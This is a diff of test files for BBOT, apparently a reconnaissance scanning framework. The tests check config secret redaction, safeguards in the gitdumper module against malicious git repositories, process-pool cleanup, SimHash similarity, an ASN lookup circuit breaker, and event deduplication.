+    assert preloaded["shodan_dns"]["options_mandatory"] == ["api_key"]
+
+    # robots has a Config but no auth-related fields
+    assert preloaded["robots"]["options_sensitive"] == []
+    assert preloaded["robots"]["options_mandatory"] == []
+
+    # credshed: 3 mandatory, 2 sensitive (url is mandatory but not sensitive)
+    assert sorted(preloaded["credshed"]["options_sensitive"]) == ["password", "username"]
+    assert sorted(preloaded["credshed"]["options_mandatory"]) == ["credshed_url", "password", "username"]
+
+
+def test_modules_table_needs_api_key_derived_from_mandatory():
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    out = MODULE_LOADER.modules_table(["shodan_dns", "robots"])
+    # Row format: | Module | Type | Needs API Key | ...
+    rows = [line for line in out.splitlines() if "shodan_dns" in line or "robots" in line]
+    shodan_row = next(r for r in rows if "shodan_dns" in r)
+    robots_row = next(r for r in rows if "robots" in r)
+    assert "Yes" in shodan_row.split("|")[3]
+    assert "No" in robots_row.split("|")[3]
+
+
+def test_no_secrets_config_redacts_module_and_global_secrets():
+    from bbot.core import CORE
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    cfg = {
+        "home": "/tmp/bbot",
+        "interactsh_token": "leaky",
+        "web": {"http_cookies": {"session": "abc"}, "http_timeout": 30},
+        "modules": {
+            "shodan_dns": {"api_key": "shodan-secret"},
+            "credshed": {"username": "u", "password": "p", "credshed_url": "http://x"},
+            "robots": {"include_sitemap": True},
+            "unknown_mod": {"foo": "bar"},  # passes through
+        },
+    }
+    redacted = CORE.no_secrets_config(cfg)
+
+    # global non-secret kept
+    assert redacted["home"] == "/tmp/bbot"
+    assert redacted["web"]["http_timeout"] == 30
+    # global secrets removed
+    assert "interactsh_token" not in redacted
+    assert "http_cookies" not in redacted["web"]
+    # module secrets removed, non-secret module fields kept (empty dicts kept
+    # so the module name still appears under `modules`, matching prior behavior)
+    assert redacted["modules"]["shodan_dns"] == {}
+    assert redacted["modules"]["credshed"] == {"credshed_url": "http://x"}
+    assert redacted["modules"]["robots"] == {"include_sitemap": True}
+    # unknown module passes through unchanged
+    assert redacted["modules"]["unknown_mod"] == {"foo": "bar"}
+
+
+def test_secrets_only_config_extracts_sensitive_fields():
+    from bbot.core import CORE
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    cfg = {
+        "home": "/tmp/bbot",
+        "interactsh_token": "leaky",
+        "web": {"http_cookies": {"session": "abc"}, "http_timeout": 30},
+        "modules": {
+            "shodan_dns": {"api_key": "shodan-secret"},
+            "credshed": {"username": "u", "password": "p", "credshed_url": "http://x"},
+        },
+    }
+    secrets = CORE.secrets_only_config(cfg)
+
+    assert secrets == {
+        "interactsh_token": "leaky",
+        "web": {"http_cookies": {"session": "abc"}},
+        "modules": {
+            "shodan_dns": {"api_key": "shodan-secret"},
+            "credshed": {"username": "u", "password": "p"},
+        },
+    }
+
+
+def test_auth_required_property_derives_from_config():
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    shodan_dns = MODULE_LOADER.load_module("shodan_dns")
+    robots = MODULE_LOADER.load_module("robots")
+
+    # `auth_required` is a property — the descriptor is on the class.
+    # We can resolve it without instantiating by walking model_fields ourselves.
+    from bbot.core.config.models import is_mandatory
+
+    shodan_mandatories = [n for n, f in shodan_dns.Config.model_fields.items() if is_mandatory(f)]
+    robots_mandatories = [n for n, f in robots.Config.model_fields.items() if is_mandatory(f)]
+    assert shodan_mandatories == ["api_key"]
+    assert robots_mandatories == []
+
+
+def test_credential_connection_fields_are_sensitive():
+    """Connection URIs that can embed credentials, and auth usernames, must be sensitive
+    so they aren't leaked into the redacted/public config view."""
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    preloaded = MODULE_LOADER.preloaded()
+    assert "uri" in preloaded["neo4j"]["options_sensitive"]
+    assert "url" in preloaded["elastic"]["options_sensitive"]
+    assert "url" in preloaded["splunk"]["options_sensitive"]
+    assert "url" in preloaded["websocket"]["options_sensitive"]
+    assert "jenkins_username" in preloaded["trajan"]["options_sensitive"]
diff --git a/bbot/test/test_step_1/test_files.py b/bbot/test/test_step_1/test_files.py
index feb6b928c3..300742990a 100644
--- a/bbot/test/test_step_1/test_files.py
+++ b/bbot/test/test_step_1/test_files.py
@@ -6,6 +6,7 @@
 @pytest.mark.asyncio
 async def test_files(bbot_scanner):
     scan1 = bbot_scanner()
+    await scan1._prep()
 
     # tempfile
     tempfile = scan1.helpers.tempfile(("line1", "line2"), pipe=False)
diff --git a/bbot/test/test_step_1/test_gitdumper_safeguards.py b/bbot/test/test_step_1/test_gitdumper_safeguards.py
new file mode 100644
index 0000000000..0ba36e849f
--- /dev/null
+++ b/bbot/test/test_step_1/test_gitdumper_safeguards.py
@@ -0,0 +1,141 @@
+"""Regression tests for ``gitdumper`` safeguards against pathological / malicious
+git layouts.
+
+Each test demonstrates a failure mode that would either leak memory, hang, or
+recurse without bound on the unfixed code.
+"""
+
+import pytest
+
+from ..bbot_fixtures import *  # noqa: F401, F403
+
+
+@pytest.mark.asyncio
+async def test_regex_files_does_not_walk_cwd(bbot_scanner, tmp_path, monkeypatch):
+    """``regex_files(file=foo)`` must scan only ``foo`` — not the cwd."""
+    target = tmp_path / "head"
+    target.write_text("ref: refs/heads/main\n")
+
+    decoy_cwd = tmp_path / "cwd"
+    decoy_cwd.mkdir()
+    (decoy_cwd / "decoy.txt").write_text("ref: refs/heads/should_not_match\n")
+    monkeypatch.chdir(decoy_cwd)
+
+    scan = bbot_scanner("evilcorp.com", modules=["gitdumper"])
+    await scan._prep()
+    try:
+        gitdumper = scan.modules["gitdumper"]
+        regex = gitdumper.helpers.re.compile(r"ref: refs/heads/([a-zA-Z\d_-]+)")
+        results = await gitdumper.regex_files(regex, file=target)
+
+        assert "main" in results, "expected the requested file to be scanned"
+        assert "should_not_match" not in results, "regex_files walked the cwd in addition to the requested file"
+    finally:
+        await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_download_files_caps_max_size(bbot_scanner, tmp_path, monkeypatch):
+    """``download_files`` must pass an explicit ``max_size`` to ``helpers.download``.
+
+    Without it, a misconfigured / malicious server can return up to 500 MB
+    (the web helper default) per probed git path. Real git refs/info files
+    are tiny, so capping at a few MB shuts down a whole class of abuse.
+    """
+    scan = bbot_scanner("evilcorp.com", modules=["gitdumper"])
+    await scan._prep()
+    try:
+        gitdumper = scan.modules["gitdumper"]
+        seen_kwargs = []
+
+        async def traced_download(url, **kwargs):
+            seen_kwargs.append(kwargs)
+            return None
+
+        monkeypatch.setattr(gitdumper.helpers, "download", traced_download)
+
+        url = gitdumper.helpers.urlparse("http://example.com/.git/HEAD")
+        await gitdumper.download_files([url], tmp_path)
+
+        assert seen_kwargs, "expected helpers.download to be called"
+        for call in seen_kwargs:
+            assert "max_size" in call, "max_size must be passed to helpers.download"
+    finally:
+        await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_download_object_caps_recursion_depth(bbot_scanner, tmp_path, monkeypatch):
+    """``download_object`` must bound recursion depth.
+
+    Mocks ``git_catfile`` so every object's output yields a fresh new hash,
+    creating an infinite chain. With no cap we'd recurse until Python's
+    stack limit (or the OS kills us). With a cap we stop at a finite depth.
+    """
+    scan = bbot_scanner("evilcorp.com", modules=["gitdumper"])
+    await scan._prep()
+    try:
+        gitdumper = scan.modules["gitdumper"]
+
+        async def nop_download_files(urls, folder):
+            return True
+
+        monkeypatch.setattr(gitdumper, "download_files", nop_download_files)
+
+        counter = [0]
+
+        async def fake_catfile(hash_, option="-t", folder=None):
+            counter[0] += 1
+            new_hash = f"{counter[0]:040x}"
+            return f"object content with {new_hash}"
+
+        monkeypatch.setattr(gitdumper, "git_catfile", fake_catfile)
+
+        await gitdumper.download_object("0" * 40, "http://example.com", tmp_path)
+
+        # If recursion is bounded, counter stays well below Python's stack limit.
+        # We just need to confirm it didn't spiral out — anything < 500 means
+        # the cap is in effect.
+        assert counter[0] < 500, f"download_object recursed {counter[0]} levels — cap not in effect"
+    finally:
+        await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_download_object_detects_cycles(bbot_scanner, tmp_path, monkeypatch):
+    """``download_object`` must not re-process an object hash it has
+    already visited. Malicious or corrupt git repos can have cyclic
+    references."""
+    scan = bbot_scanner("evilcorp.com", modules=["gitdumper"])
+    await scan._prep()
+    try:
+        gitdumper = scan.modules["gitdumper"]
+
+        async def nop_download_files(urls, folder):
+            return True
+
+        monkeypatch.setattr(gitdumper, "download_files", nop_download_files)
+
+        hash_a = "a" * 40
+        hash_b = "b" * 40
+        catfile_calls = []
+
+        async def fake_catfile(hash_, option="-t", folder=None):
+            catfile_calls.append(hash_)
+            if hash_ == hash_a:
+                return f"references {hash_b}"
+            if hash_ == hash_b:
+                return f"references {hash_a}"  # cycle back
+            return ""
+
+        monkeypatch.setattr(gitdumper, "git_catfile", fake_catfile)
+
+        await gitdumper.download_object(hash_a, "http://example.com", tmp_path)
+
+        # With cycle detection: A -> B -> stop (A already seen). 2 catfile calls.
+        # Without: infinite, eventually RecursionError.
+        assert len(catfile_calls) <= 2, (
+            f"download_object did not detect cycle (called catfile {len(catfile_calls)} times)"
+        )
+    finally:
+        await scan._cleanup()
diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py
index fa54bcbe7f..eab289b9f5 100644
--- a/bbot/test/test_step_1/test_helpers.py
+++ b/bbot/test/test_step_1/test_helpers.py
@@ -1,3 +1,6 @@
+import os
+import sys
+import time
 import asyncio
 import datetime
 import ipaddress
@@ -590,7 +593,7 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver):
     await scan._cleanup()
 
     scan1 = bbot_scanner(modules="ipneighbor")
-    await scan1.load_modules()
+    await scan1._prep()
     assert int(helpers.get_size(scan1.modules["ipneighbor"])) > 0
 
     await scan1._cleanup()
@@ -661,6 +664,7 @@ async def test_word_cloud(helpers, bbot_scanner):
 
     # saving and loading
     scan1 = bbot_scanner("127.0.0.1")
+    await scan1._prep()
     word_cloud = scan1.helpers.word_cloud
     word_cloud.add_word("lantern")
     word_cloud.add_word("black")
@@ -962,7 +966,7 @@ async def test_parameter_validation(helpers):
 async def test_rm_temp_dir_at_exit(helpers):
     from bbot.scanner import Scanner
 
-    scan = Scanner("127.0.0.1", modules=["httpx"])
+    scan = Scanner("127.0.0.1", modules=["http"])
     await scan._prep()
 
     temp_dir = scan.home / "temp"
@@ -975,3 +979,363 @@ async def test_rm_temp_dir_at_exit(helpers):
 
     # temp dir should be removed
     assert not temp_dir.exists()
+
+
+# these must be top-level functions so they can be pickled for the subprocess
+def _hang_forever():
+    import time
+
+    time.sleep(9999)
+
+
+def _cpu_work(n):
+    return sum(range(n))
+
+
+@pytest.mark.asyncio
+async def test_run_in_executor_mp(helpers):
+    # normal tasks should complete fine
+    result = await helpers.run_in_executor_mp(_cpu_work, 100_000)
+    assert result == sum(range(100_000))
+
+    # a hanging task should raise TimeoutError and auto-replace the pool
+    with pytest.raises(asyncio.TimeoutError):
+        await helpers.run_in_executor_mp(_hang_forever, _timeout=2)
+
+    # pool should still work after a timeout (was replaced by _reset_process_pool)
+    result = await helpers.run_in_executor_mp(_cpu_work, 50_000, _timeout=30)
+    assert result == sum(range(50_000))
+
+
+@pytest.mark.skipif(not sys.platform.startswith("linux"), reason="PR_SET_PDEATHSIG is Linux-only")
+def test_pool_workers_die_with_parent():
+    """Pool workers must not survive when the parent is SIGKILL'd (OOM, crash, etc.)."""
+    import json
+    import signal
+    import subprocess
+    import tempfile
+
+    script = """
+import os, sys, json, time, signal, ctypes, ctypes.util, multiprocessing as mp
+from concurrent.futures import ProcessPoolExecutor
+
+_PR_SET_PDEATHSIG = 1
+
+def _init():
+    libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
+    libc.prctl(_PR_SET_PDEATHSIG, signal.SIGKILL, 0, 0, 0)
+
+def _get_pid():
+    time.sleep(1)
+    return os.getpid()
+
+# use fork context explicitly -- forkserver on 3.14 adds an intermediary process
+# that complicates the parent-death chain; PR_SET_PDEATHSIG itself is start-method-agnostic
+ctx = mp.get_context("fork")
+pool = ProcessPoolExecutor(max_workers=2, initializer=_init, mp_context=ctx)
+# submit concurrently so both workers are occupied (each takes 1s)
+futs = [pool.submit(_get_pid) for _ in range(2)]
+pids = list(set(f.result(timeout=30) for f in futs))
+# keep workers busy so they stay alive
+[pool.submit(time.sleep, 3600) for _ in range(2)]
+print(json.dumps(pids), flush=True)
+time.sleep(3600)
+"""
+    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
+        f.write(script)
+        script_path = f.name
+
+    def _is_running(pid):
+        """Check /proc to distinguish running processes from zombies."""
+        try:
+            with open(f"/proc/{pid}/stat") as f:
+                # format: "pid (comm) state ..." -- state after the last ')'
+                state = f.read().split(")")[-1].strip().split()[0]
+                return state not in ("Z", "X", "x")
+        except (OSError, IndexError):
+            return False
+
+    try:
+        proc = subprocess.Popen([sys.executable, script_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        line = proc.stdout.readline()
+        assert line, f"Worker script exited early, stderr: {proc.stderr.read().decode()}"
+        worker_pids = json.loads(line)
+        assert len(worker_pids) >= 2
+
+        # simulate OOM kill
+        os.kill(proc.pid, signal.SIGKILL)
+        proc.wait()
+
+        time.sleep(2)
+
+        alive = [pid for pid in worker_pids if _is_running(pid)]
+
+        # clean up survivors so they don't leak into other tests
+        for pid in alive:
+            os.kill(pid, signal.SIGKILL)
+
+        assert not alive, f"Pool workers {alive} survived parent SIGKILL (zombie leak)"
+    finally:
+        os.unlink(script_path)
+
+
+def test_simhash_similarity(helpers):
+    """Test SimHash helper with increasingly different HTML pages."""
+
+    # Base HTML page
+    base_html = """
+    <!DOCTYPE html>
+    <html>
+    <head>
+        <title>Example Page</title>
+        <meta charset="utf-8">
+    </head>
+    <body>
+        <h1>Welcome to Example Corp</h1>
+        <div class="content">
+            <p>This is the main content of our website.</p>
+            <p>We provide excellent services to our customers.</p>
+            <ul>
+                <li>Service A</li>
+                <li>Service B</li>
+                <li>Service C</li>
+            </ul>
+        </div>
+        <footer>Copyright 2024 Example Corp</footer>
+    </body>
+    </html>
+    """
+
+    # Slightly different - changed one word
+    slightly_different = """
+    <!DOCTYPE html>
+    <html>
+    <head>
+        <title>Example Page</title>
+        <meta charset="utf-8">
+    </head>
+    <body>
+        <h1>Welcome to Example Corp</h1>
+        <div class="content">
+            <p>This is the main content of our website.</p>
+            <p>We provide amazing services to our customers.</p>
+            <ul>
+                <li>Service A</li>
+                <li>Service B</li>
+                <li>Service C</li>
+            </ul>
+        </div>
+        <footer>Copyright 2024 Example Corp</footer>
+    </body>
+    </html>
+    """
+
+    # Moderately different - changed content section
+    moderately_different = """
+    <!DOCTYPE html>
+    <html>
+    <head>
+        <title>Example Page</title>
+        <meta charset="utf-8">
+    </head>
+    <body>
+        <h1>Welcome to Example Corp</h1>
+        <div class="content">
+            <p>This page contains different information.</p>
+            <p>Our products are innovative and cutting-edge.</p>
+            <ul>
+                <li>Product X</li>
+                <li>Product Y</li>
+                <li>Product Z</li>
+            </ul>
+        </div>
+        <footer>Copyright 2024 Example Corp</footer>
+    </body>
+    </html>
+    """
+
+    # Very different - completely different content
+    very_different = """
+    <!DOCTYPE html>
+    <html>
+    <head>
+        <title>News Portal</title>
+        <meta charset="utf-8">
+    </head>
+    <body>
+        <h1>Latest News</h1>
+        <div class="articles">
+            <article>
+                <h2>Breaking News Today</h2>
+                <p>Important events are happening around the world.</p>
+            </article>
+            <article>
+                <h2>Sports Update</h2>
+                <p>Local team wins championship game.</p>
+            </article>
+        </div>
+        <footer>News Corp 2024</footer>
+    </body>
+    </html>
+    """
+
+    # Completely different - different structure and content
+    completely_different = """
+    <xml version="1.0">
+    <data>
+        <configuration>
+            <setting name="timeout">300</setting>
+            <setting name="retries">5</setting>
+        </configuration>
+        <results>
+            <item id="1">Result A</item>
+            <item id="2">Result B</item>
+        </results>
+    </data>
+    """
+
+    # Test SimHash similarity
+    simhash = helpers.simhash
+
+    # Calculate hashes
+    base_hash = simhash.hash(base_html)
+    slightly_hash = simhash.hash(slightly_different)
+    moderately_hash = simhash.hash(moderately_different)
+    very_hash = simhash.hash(very_different)
+    completely_hash = simhash.hash(completely_different)
+
+    # Calculate similarities
+    identical_similarity = simhash.similarity(base_hash, base_hash)
+    slight_similarity = simhash.similarity(base_hash, slightly_hash)
+    moderate_similarity = simhash.similarity(base_hash, moderately_hash)
+    very_similarity = simhash.similarity(base_hash, very_hash)
+    complete_similarity = simhash.similarity(base_hash, completely_hash)
+
+    print(f"Identical: {identical_similarity:.3f}")
+    print(f"Slightly different: {slight_similarity:.3f}")
+    print(f"Moderately different: {moderate_similarity:.3f}")
+    print(f"Very different: {very_similarity:.3f}")
+    print(f"Completely different: {complete_similarity:.3f}")
+
+    # Verify expected similarity ordering
+    assert identical_similarity == 1.0, "Identical content should have similarity of 1.0"
+    assert slight_similarity > moderate_similarity, (
+        "Slightly different should be more similar than moderately different"
+    )
+    assert moderate_similarity > very_similarity, "Moderately different should be more similar than very different"
+    assert very_similarity > complete_similarity, "Very different should be more similar than completely different"
+
+    # Verify reasonable similarity ranges based on actual SimHash behavior
+    # With 64-bit hashes and 3-character shingles, we get good differentiation
+    assert slight_similarity > 0.90, "Slightly different content should be highly similar (>0.90)"
+    assert moderate_similarity > 0.70, "Moderately different content should be quite similar (>0.70)"
+    assert very_similarity > 0.50, "Very different content should have medium similarity (>0.50)"
+    assert complete_similarity > 0.30, "Completely different content should have low similarity (>0.30)"
+    assert complete_similarity < 0.50, "Completely different content should be clearly different (<0.50)"
+
+    # Most importantly, verify the ordering is correct
+    assert identical_similarity > slight_similarity > moderate_similarity > very_similarity > complete_similarity
+
+
+def test_clean_dns_record():
+    from bbot.core.helpers.misc import clean_dns_record
+
+    assert clean_dns_record("www.example.com.") == "www.example.com"
+    assert clean_dns_record("www.example.com") == "www.example.com"
+    # dnspython to_text() can produce quoted strings for certain record types
+    assert clean_dns_record('"d1jwhzvlef5tfb.example.com"') == "d1jwhzvlef5tfb.example.com"
+    assert clean_dns_record("'d1jwhzvlef5tfb.example.com'") == "d1jwhzvlef5tfb.example.com"
+    # quotes + trailing dot
+    assert clean_dns_record('"d1jwhzvlef5tfb.example.com."') == "d1jwhzvlef5tfb.example.com"
+
+
+@pytest.mark.asyncio
+async def test_asn_helper_passes_api_key(bbot_scanner, monkeypatch):
+    """ASNHelper should forward the configured bbot_io_api_key to ASNDB."""
+    captured = {}
+
+    class FakeASNDB:
+        def __init__(self, bbot_io_api_key=None, verify=True):
+            captured["bbot_io_api_key"] = bbot_io_api_key
+            captured["verify"] = verify
+
+    import asndb
+
+    monkeypatch.setattr(asndb, "ASNDB", FakeASNDB)
+
+    scan = bbot_scanner("8.8.8.8", config={"bbot_io_api_key": "test-key-xyz"})
+    _ = scan.helpers.asn.client
+    assert captured["bbot_io_api_key"] == "test-key-xyz"
+
+    captured.clear()
+    scan2 = bbot_scanner("8.8.8.8")
+    _ = scan2.helpers.asn.client
+    assert captured["bbot_io_api_key"] is None
+
+
+@pytest.mark.asyncio
+async def test_asn_helper_circuit_breaker(bbot_scanner, monkeypatch):
+    """ASNHelper should stop making requests after consecutive failures."""
+    from unittest.mock import AsyncMock, MagicMock
+
+    import asndb
+
+    mock_client = MagicMock()
+    mock_client.lookup_ip = AsyncMock(side_effect=Exception("connection refused"))
+    monkeypatch.setattr(asndb, "ASNDB", lambda **kw: mock_client)
+
+    scan = bbot_scanner("8.8.8.8")
+    asn_helper = scan.helpers.asn
+    assert asn_helper.FAILURE_THRESHOLD == 5
+
+    # First FAILURE_THRESHOLD calls should each hit the network and return UNKNOWN_ASN
+    for i in range(asn_helper.FAILURE_THRESHOLD):
+        result = await asn_helper.ip_to_subnets(f"1.2.3.{i}")
+        assert result == asn_helper.UNKNOWN_ASN
+        assert not asn_helper._circuit_broken or i == asn_helper.FAILURE_THRESHOLD - 1
+
+    # Circuit should now be broken
+    assert asn_helper._circuit_broken
+    assert mock_client.lookup_ip.call_count == asn_helper.FAILURE_THRESHOLD
+
+    # Subsequent calls should return immediately without hitting the network
+    for i in range(10):
+        result = await asn_helper.ip_to_subnets(f"5.6.7.{i}")
+        assert result == asn_helper.UNKNOWN_ASN
+    assert mock_client.lookup_ip.call_count == asn_helper.FAILURE_THRESHOLD
+
+
+@pytest.mark.asyncio
+async def test_asn_helper_circuit_breaker_resets_on_success(bbot_scanner, monkeypatch):
+    """A successful lookup should reset the consecutive failure counter."""
+    from unittest.mock import AsyncMock, MagicMock
+
+    import asndb
+
+    call_count = 0
+
+    async def lookup_ip_side_effect(*args, **kwargs):
+        nonlocal call_count
+        call_count += 1
+        if call_count <= 3:
+            raise Exception("connection refused")
+        return {"asn": 15169, "subnets": ["8.8.8.0/24"], "asn_name": "GOOGLE", "org": "Google", "country": "US"}
+
+    mock_client = MagicMock()
+    mock_client.lookup_ip = AsyncMock(side_effect=lookup_ip_side_effect)
+    monkeypatch.setattr(asndb, "ASNDB", lambda **kw: mock_client)
+
+    scan = bbot_scanner("8.8.8.8")
+    asn_helper = scan.helpers.asn
+
+    # 3 failures
+    for i in range(3):
+        await asn_helper.ip_to_subnets(f"1.2.3.{i}")
+    assert asn_helper._consecutive_failures == 3
+    assert not asn_helper._circuit_broken
+
+    # 1 success should reset the counter
+    result = await asn_helper.ip_to_subnets("8.8.8.8")
+    assert result["asn"] == 15169
+    assert asn_helper._consecutive_failures == 0
+    assert not asn_helper._circuit_broken
diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py
index 65fbaeb172..0f7b0e48b4 100644
--- a/bbot/test/test_step_1/test_manager_deduplication.py
+++ b/bbot/test/test_step_1/test_manager_deduplication.py
@@ -48,18 +48,29 @@ class PerDomainOnly(DefaultModule):
 
     async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs):
         scan = bbot_scanner(*args, config=_config, **kwargs)
+        await scan._prep()
         default_module = DefaultModule(scan)
         everything_module = EverythingModule(scan)
         no_suppress_dupes = NoSuppressDupes(scan)
         accept_dupes = AcceptDupes(scan)
         per_hostport_only = PerHostOnly(scan)
         per_domain_only = PerDomainOnly(scan)
+        
+        # Add modules to scan
         scan.modules["default_module"] = default_module
         scan.modules["everything_module"] = everything_module
         scan.modules["no_suppress_dupes"] = no_suppress_dupes
         scan.modules["accept_dupes"] = accept_dupes
         scan.modules["per_hostport_only"] = per_hostport_only
         scan.modules["per_domain_only"] = per_domain_only
+        
+        # Setup each module manually since they were added after _prep()
+        modules_to_setup = [default_module, everything_module, no_suppress_dupes, accept_dupes, per_hostport_only, per_domain_only]
+        for module in modules_to_setup:
+            setup_result = await module.setup()
+            if setup_result is not True:
+                raise Exception(f"Module {module.name} setup failed: {setup_result}")
+        
         if _dns_mock:
             await scan.helpers.dns._mock_dns(_dns_mock)
         if scan_callback is not None:
@@ -101,7 +112,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"])
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"])
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"])
-    assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "accept_dupes.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "accept_dupes.test.notreal"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "default_module.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "default_module.test.notreal"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "per_domain_only.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "per_domain_only.test.notreal"])
@@ -115,9 +126,9 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"])
     assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"])
     assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"])
-    assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
 
-    assert len(all_events) == 27
+    assert len(all_events) == 26
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "default_module.test.notreal" and str(e.module) == "default_module"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "accept_dupes.test.notreal"])
@@ -127,9 +138,11 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"])
-    assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "test.notreal"])
-    assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "default_module.test.notreal"])
+    # the second 127.0.0.3 (parent=default_module.test.notreal) is now deduped at the DNSResolve layer
+    # because (rdtype, child) collides with the test.notreal->127.0.0.3 edge already emitted
+    assert 0 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "default_module.test.notreal"])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.5" and str(e.module) == "A" and e.parent.data == "no_suppress_dupes.test.notreal"])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.6" and str(e.module) == "A" and e.parent.data == "accept_dupes.test.notreal"])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.7" and str(e.module) == "A" and e.parent.data == "per_hostport_only.test.notreal"])
@@ -147,7 +160,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"])
     assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"])
     assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"])
-    assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
 
     assert len(accept_dupes) == 10
     assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"])
@@ -159,7 +172,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs)
     assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"])
     assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"])
     assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"])
-    assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]])
+    assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]])
 
     assert len(per_hostport_only) == 6
